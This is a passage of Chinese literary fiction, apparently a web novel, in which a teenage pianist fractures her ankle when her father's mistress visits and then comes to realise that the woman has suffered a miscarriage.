“他电话打不通,你找到家里来也没用。”梁初灵的声音有点冷。
她对这些女人说不上恨,但也绝无好感。只是觉得烦。
烦中还酿出一份真相:梁父再次离家原来不是为了这名女性。
“我知道这样很冒昧,但我真的没办法了。他之前不是这样的,他说会离婚,会给我一个交代。”
梁初灵听着这些话,只觉得荒谬。
交代?
跟她一个做女儿的,来要她父亲的交代?
“那是你们之间的事。”梁初灵打断她,准备关门,“你找错地方了。”
女人却伸手抵住了门,情绪有些激动起来:“他怎么可以这样!说消失就消失!”
她的话没说完,眼泪先掉了下来。
梁初灵看着她哭,心里那点烦躁里掺进了一丝疲惫的旁观。看她,就像看另一个可能版本的妈女士。
“你跟我说这些没用。”梁初灵叹了口气,试图讲道理,“我管不了他,也帮不了你。”
她向前一步,走出门外。
拿出手机,当着她面拨通梁父的电话。没人接。
又打给妈女士,电话响了好几声才接。
“喂?宝贝儿,怎么了?”
梁初灵:“爸爸的那个……对象,找到家里来了。”
妈女士的声音透出点不耐烦:“怎么找到家里去了?她跟你说什么了?”
“她没什么跟我好说的。”
“行,你别管她,让她闹,闹够了就走了。你这几天别在家住了,去酒店开个房,清净点,妈妈给你报销。”妈女士说完,旁边有人叫她,匆匆又补了句,“妈妈这边忙着呢,先挂了啊。”
梁初灵举着手机,看着面前泪眼婆娑的女人,觉得凭什么,凭什么他们大人惹出来的烂摊子,要她来面对要她来躲?
她对那女人说:“你也听到了。他不见你,我妈让你走。这里不欢迎你。”
说完,她不再看对方转身就往屋里走,眼不见为净。
也许是气昏了头,脚步太急,走门槛时,左脚踝一崴,人不受控制往旁边栽去。
完了。这是她倒地前最后一个念头。
预想中的彻底倒地没发生,女人扑过来,用自己的身体垫了一下,尤其紧张地护住了梁初灵那双手。
梁初灵的重量大半砸在她身上,双手被女人牢牢圈住,安然无恙。
两人狼狈地摔作一团。
女人脸上还挂着泪,却顾不上自己,立刻撑起身,第一反应是去拉梁初灵的手。检查她的手指、手腕,眼神里多了惊慌歉意:“你没事吧?手!你的手有没有事?你还要弹琴的。”
梁初灵被她这突如其来的保护弄懵。疼痛从脚踝传来,但更尖锐的是心理上的冲击。
这个她理论上应该憎恶的女人,在刚才那一瞬间,保护了她最珍贵的东西。
而连她的父亲,也并没有在乎过她这双手的未来。
“手没事。”梁初灵抽回自己的手,那触碰让她感到一种难堪的温暖。
女人这才松了口气,自己也意识到行为逾矩,松开手,转而去看她的脚,“你的脚呢?”
梁初灵疼得龇牙咧嘴:“好像有事。”
接下来的发展,超出了梁初灵人生经验的总和。
这个理论上应该被她视为敌人的女人,扶着她,开着车,把她送到了最近的医院。
车内很干净,什么香味都没有,什么音乐也都没放。
太安静,女人没话找话:“我小时候也学过钢琴。学了六年。后来家里供不起了,就没再弹。你弹得真好,我在网上搜过你的比赛视频。”
所以知道这双手的价值,也掺杂了对自身未能继续的梦想的投射,对才华的珍惜。
去医院的这条路绿化做得很好,色彩繁复,以流泻的姿态、辅以规整的瀑出,像梁初灵,也像很多人。
其实她很喜欢坐这样的车,干净整洁到难以置信。
没有装饰没有娃娃没有靠垫没有香薰没有祈福带没有音乐,很少见,比这种车更少见的是车的主人的身份,比这些都少见的是她的身份和车主人的身份和这种车竟然都集齐。
梁初灵觉得自己是不是在梦游。
直到医生捏她的痛处,被痛回了神智。
挂号,缴费,拍片子,等结果。
整个过程,两人几乎零交流。
女人显得比她还紧张,时不时看她一眼,欲言又止。
诊断结果出来是左脚踝轻微骨折,需要打石膏固定,至少得休息一周。
梁初灵坐在诊疗室里,看着医生给她打石膏,女人站在旁边,手里拿着她的病历本,小声说:“对不起,要是我没去你家,你也不会摔。”
梁初灵摇摇头:“跟你没关系,是我自己不小心。”
她突然想起碇真嗣,每次遇到使徒,好像都是因为各种意外。想到这里,她又想到李寻,那部漫画还是他抽出来带进了她的世界。可惜那次书店之后她没再继续看过。
打好石膏,女人又开车把她送回家。
车停在别墅门口,两人坐在车里,气氛尴尬。
“医药费多少钱,我转给你。”梁初灵先开口。
女人摇摇头:“不用了。本来也是因为我。”
梁初灵没再坚持,她拉开车门,单脚蹦下车,扶着车门站稳。
“谢谢你送我去医院。”她说。
女人也立刻下车,把梁初灵扶进客厅,路上又说了句对不起。
梁初灵到了家挣扎着坐下,女人站在客厅中央,看到了墙上挂着的全家福,照片里梁父搂着妈女士,梁初灵站在中间,笑得一脸傻气。
“你们看起来很幸福。”女人带着点自嘲,“对不起你。我知道,我知道这样很难看,找到你家里来。我不是想来闹事,我只是找不到他了。所有联系方式都断了,像人间蒸发一样。”
她看着梁初灵,声音带着颤抖的诚恳:“找工作很难。认识他的时候,他说会帮我,说欣赏我的能力,他说他婚姻不幸福,早就分居了,只是为了孩子才维持表面。我不是想破坏你的家庭。我只是想要一个说法。不要这样莫名其妙的消失。对不起,我不该来找你,我不该对你说这些,你还这么小。”
梁初灵别开脸,没接话,觉得这个女人有点可怜,跟妈女士不一样,妈女士是知道一切还能笑着敷衍,这个女人好像还蒙在鼓里,以为梁父会跟她怎么样。
“他不会跟你怎么样的,他以前也跟别的女人一定也说过同样的话,一定最后都不了了之。”
女人眼睛里的红更明显:“你怎么知道?”
梁初灵说得轻描淡写:“我是他女儿,我了解他。他的话你别信。他也知道你小时候学过钢琴又中断的事吧?可他没有送你去继续学琴,只是磋磨你。”
这话太难堪,但梁初灵不想让她、让这场面难看,又问:“你叫什么?我叫梁初灵。”
——
空闲时间多了出来,梁初灵开始搜索《EVA》,之前李寻买给她的漫画她还没看完,现在正好有时间,索性把动画看了。
看到第三集,碇真嗣因为害怕,想逃离NERV,被葛城美里拦下来。葛城美里说:“不能逃,逃了就什么都没有了。”
不能逃。
这三个字好危险,能绑缚住人的手脚,也能解开虚无。
想起李寻跟她说这个故事讲的是“不要逃”,原来其实是“不能逃”。
实在是差之毫厘谬之千里。
李寻太过善良,总是不愿意太强势,“不要逃”,多么恳切,多么劝慰,像一场告解。
“不能逃”,只有危险和笃定,可是更适合梁初灵。
不能,不能,不能逃。
看到很晚,手机突然震动,又是李寻发来的消息:“我手机好像掉了,你给我打个电话试试。”
梁初灵不明就里,打了一个微信电话过去,李寻秒接:“找到啦,谢谢小天才。”
梁初灵才反应过来这个借口有多荒谬,自己居然信了。
她冷笑:“呵呵。”
李寻半点不在意,继续问:“你今天一天没回消息,没事儿吧?我听你嗓子怎么有点哑?今天有喝够水吗?”
梁初灵腿疼不想动,开始鬼扯:“喝够了。没事,可能有点感冒。”
李寻担心:“生病了怎么不讲,也怪我没问……感冒严重吗?有没有吃药?我给你点个橙汁外卖好不好?猕猴桃吃不吃?打电话是不是打扰到你休息了?”
梁初灵突然有点想落泪。
动画片放到终极的懦弱,终极的绝望,无法承受个体存在的孤独
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和痛苦,所以选择回归无差别的子宫。
可是即使充满痛苦,即使会被伤害,我的存在,和你的存在,是独一无二的。掐住喉咙的触感,是证明我还活着的方式。
哪怕这份存在如此不堪。
每个人都有自己的使徒,都要自己去面对。
这些都需要她自己去面对。
真的是不能逃。
——
骨折让梁初灵不得不让出与来访的俄罗斯钢琴大师的合作演出机会,那是她崇敬已久的女钢琴家,以诠释肖邦时钢铁般的柔情著称。
演出那天她还是去了演奏厅,替掉她的那名男钢琴家弹得不够好,这让梁初灵更加难受,她不想让那位俄罗斯大师觉得华人钢琴家不过如此。
掌声像细针,扎在她心口一种名为遗憾的陌生地方。
提醒她命运如何因一场闹剧般的意外而偏移。
骨折这件事,梁初灵一直没告诉李炽和李寻。
前者是因为没必要,视频课一周一次是能够照常的,影响不大。后者是她不想让李寻担心,也不想让他觉得自己很脆弱。
李炽没发现异常。李寻看她一切如常,也就没多想。
向老师请了假,梁初灵过上了规律的生活。白天大部分时间练琴,练累了,就瘫在沙发上背单词,或者看谱子。
也会拄着一根拐在小区里走一走,不想让体能下降太多。练琴耗费体力,比赛更是对身体素质的考验,她不想输在这种事情上。
有人在小区里一边遛弯一边唱七里香,风把歌唱者的声音吹过来又吹过去,于是嗓音显得清透一时接着厚重一时,晃晃悠悠。
不像是唱歌的人,像是跟唱的人,唱到自己会的部分,像吃面条一样哧溜着这歌就出来了,到了不会的部分,就只能拍拍手,像吃下午茶一样轻柔和缓的一勺一嘬。
她在小区的下沉花园,回家要从下往上登台阶,她一级一级的登。
风掀起她的衣角,远处的七里香不知何时换成了送别,跑调的旋律混着小区外面街道上救护车的鸣笛,高音时像猫抓纱窗,低下去又成了老唱片卡带,间或夹着拍手声,像有人在给空气打拍子,一同铺成一条河。
梁初灵恍惚觉得自己像在电影院,因为来迟所以听着影片的配乐着急的一排一排找座位,而观众已经在为精彩剧情鼓掌。
她十来年的人生一直自认为是主角、想当主角、只考虑主角,此刻回归观众,还是迟到的观众,让她觉得有些心烦,任何情绪都带着错位的钝感。
回家时在大门口再遇林佳妮。
一股荒谬的疲惫感涌上来,梁初灵有点无语:“你不用再来了,我爸不会回家的。你等也是白等。”
林佳妮吓了一跳,连忙摆手:“不是的,我不是来找梁先生的。我是来给你送这个。”她将手中的大帆布袋递过来,“是一些对骨骼恢复有益的补品,还有一些膏药,我是安徽人,我家就是做中药材的,这个膏药贴很好用,你用得上。”
梁初灵有点迷茫,觉得空气也愣愣的,不会自主进她的鼻子,需要她格外用力去呼吸。
又开始仔细看林佳妮,她穿着过于宽松的长裙,仿佛想将整个人都藏进去。动作也过于小心翼翼,将袋子递过来时,手还护了一下小腹。站姿微佝,不像是习惯性的,像是腹部核心无力,需要蜷缩来缓解某种不适的姿态。
上次见面是一周前,林佳妮那会儿脸上打了底,这次应该是什么也没化,脸苍白,唇色也很浅,有些发干。
她将手伸过来——
李寻的手接过店员递过来的餐品。一位年轻女性也端着餐盘从旁边离开,身体却不受控制晃了一下。李寻反应快,扶住了她。那个女性穿着宽松衣物,摁住了自己的小腹。
李寻看着女性额角细密的冷汗,强忍不适的眼神,用自己的热红茶换走了对方的冰可乐,说:“抱歉冒昧,您现在是不是不太适合喝这个?”
女性道谢后匆匆离开。
对方离开后梁初灵好奇追问李寻,她是来月经了吗?
李寻轻声解释,怀疑是流产不久,她脸色太差,身体重心不稳,用不上力,摁住小腹是本能,而且步伐很小,在规避可能的牵扯。
梁初灵当时觉得不可思议:“这你也能发现?”
李寻一边很轻的说着有过一次这件事的经验,一边把冰可乐递给梁初灵——
梁初灵接过大帆布袋。
林佳妮强撑的虚弱,与记忆中那个女性的身影重叠。
让她脱口而出:“你流产了?我爸的孩子?”
林佳妮如被雷击,哆嗦着:“你怎么知道的?!”这句话等于承认了一切。
梁初灵看着她,突然生气,并不是气梁父,也更不应该气林佳妮。她不知道应该气谁。
可能气为何总是女人在承受这些后果。
她不知道该说什么,呼吸也困难。